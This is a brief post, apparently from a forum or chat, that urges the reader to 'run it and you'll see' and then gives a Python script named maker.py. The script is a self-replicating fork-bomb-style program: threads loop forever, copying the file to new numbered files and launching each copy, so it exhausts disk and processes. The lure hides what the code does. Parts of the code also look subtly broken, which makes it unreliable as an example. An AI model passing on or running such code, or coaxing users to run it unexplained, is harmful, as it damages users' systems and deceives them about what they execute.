run it and you'll see

maker.py

import threading
import shutil
import subprocess
import os

def copyfile(folder):
    x = 0
    while True:
        shutil.copy(__file__, "file{}.py".format(x))
        subprocess.call("python3 file{}.py".format(x))
        x+=1
        
for i in range(4):
    os.makedirs("folder{}".format(i))
    t = threading.Thread(target=copyfile,args=("./folder{}".format(i)))
    t.daemon = True
    t.start()